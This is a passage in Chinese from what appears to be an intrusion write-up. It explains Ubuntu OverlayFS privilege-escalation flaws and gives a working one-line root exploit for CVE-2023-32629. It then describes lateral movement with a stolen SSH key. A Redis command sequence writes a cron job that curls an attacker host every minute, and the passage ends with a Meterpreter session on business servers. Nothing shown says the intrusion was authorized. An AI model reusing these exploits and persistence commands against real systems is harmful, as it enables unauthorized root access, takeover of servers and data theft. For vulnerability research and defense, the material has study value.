- CVE-2023-0386 :同 CVE 2016-1576 ,而且是完全相同。(旧洞新修?不是很能理解)
- CVE-2023-2640 :CVE-2021-3493 的不完全修复(在 ubuntu 中被 ovl_copy_xattr() 重新引入),通过 ovl_do_xattr() 触发。
- CVE-2023-32629 :同上,但被 ovl_copy_up_meta_inode_data() 新引入,同样通过修复不完全的 ovl_do_xattr() 触发。
而已有的信息是,metacopy=on
是触发的入口点。根据 metacopy 的特性,进行如下的测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ unshare -rm sh -c "mkdir l u w m; > cp /u*/b*/p*3 l/; > mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m; > ls -alh u/; > chmod 777 m/python3; > ls -alh u/"; rm -rf l u w m total 8.0K drwxrwxr-x 2 root root 4.0K Sep 11 08:50 . drwxrwxrwt 19 nobody nogroup 4.0K Sep 11 08:50 .. total 5.3M drwxrwxr-x 2 root root 4.0K Sep 11 08:50 . drwxrwxrwt 19 nobody nogroup 4.0K Sep 11 08:50 .. -rwxrwxrwx 1 root root 5.3M Sep 11 08:50 python3 $ unshare -rm sh -c "mkdir l u w m; > cp /u*/b*/p*3 l/; > mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w,metacopy=on m; > ls -alh u/; > chmod 777 m/python3; > ls -alh u/"; rm -rf l u w m total 8.0K drwxrwxr-x 2 root root 4.0K Sep 11 08:54 . drwxrwxrwt 19 nobody nogroup 4.0K Sep 11 08:54 .. total 12K drwxrwxr-x 2 root root 4.0K Sep 11 08:54 . drwxrwxrwt 19 nobody nogroup 4.0K Sep 11 08:54 .. -rwxrwxrwx 1 root root 5.3M Sep 11 08:54 python3 |
可以发现,开启 metacopy 后,对 mount 里的文件进行 chmod/chown 等操作时,不会进行文件内容的 copy_up,而只是创建一个新的 inode 保存其属性。上面的 total 5.3M 跟底下的 total 12K 证明了这一点。也就是说,进行 setcap 时也会有类似的行为,由于漏洞函数的存在,最终造成了 capabilities 的任意拷贝!
这里需要注意的一点是,在 setcap 完后需要 touch 一下触发实际文件内容的 copy_up,否则是执行不了的:-bash: ./u/python3: cannot execute binary file: Exec format error
。这里的 copy_up 并不会覆盖 upper 里已经设好的 capabilities。于是:
1 2 3 4 5 |
unshare -rm sh -c "mkdir l u w m; cp /u*/b*/p*3 l/; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w,metacopy=on m; setcap cap_setuid+eip m/python3; touch m/python3"; ./u/python3 -c 'import os;os.setuid(0);os.system("id")'; rm -rf l u w m |
即为 CVE-2023-32629 的 PoC。这下可是实打实的 root 权限,够硬!
-
历经艰难终成大业
有了 root 权限,就有了 .ssh 里的 id_rsa,也就有了其他机子的控制权。虽然从 .bash_history 里能看到很多 IP,但实测只有俩能用当前的密钥连上。前面的 Vert.x 就跑在其中一台的 docker 里。回想起 MS17-010 刚出来那会,要进机房里的哪台 XP 完全看的是心情。现在也有点儿类似的感受。虽然只有两台。
这两台已经是业务核心机了,里面有主程序的配置文件。其实在之前的探测过程中,曾经发现过另一台开 MySQL 的机子,但 secure_file_priv
为默认值,无法利用。然后在配置文件里发现了对其 Redis 的连接。内网,所以不用密码。从 INFO
得到版本信息:redis_version:3.2.9
及 os:Linux 3.10.0-1127.10.1.el7.x86_64
。这可够旧的。CentOS 的老古董都是这样的。
想着尽量不覆盖文件,然后发现通过主从复制 + module load 来 getshell 的方法只适用 4.x ~ 5.x,太旧啦!!覆盖 root 的 ssh key 肯定是万不得已的时候考虑的。那么可能性所指引出的道路就只有一条:覆盖 /var/spool/cron/root
,然后祈祷它原来是没有内容的。
这里的方法是通用的。首先获取原配置文件,根据需求 select
一个 db
,这里 dbsize
是 0
所以就不用了,写入 k-v 对后更改 dir
及 dbfilename
,最后一个 save
。有一点需要注意的是,在有些场景下可能需要先关闭 rdbcompression
。可以根据需要在利用后还原配置。
1 2 3 4 5 6 7 8 9 10 11 12 |
select 11 flushdb set 1 "\n\n*/1 * * * * curl http://IP:PORT\n\n" config set dir /var/spool/cron config set dbfilename root config set rdbcompression no save config set dir /var/lib/redis config set dbfilename dump.rdb config set rdbcompression yes |
很幸运,这里 redis 是以 root 权限跑的。随着一声清脆的 [*] Meterpreter session opened
落下,至此,两台核心业务机 + 两台数据库均被收入麾下。
从一个奇怪的 PostgreSQL 注入开始的旅程,也即将迎来尾声。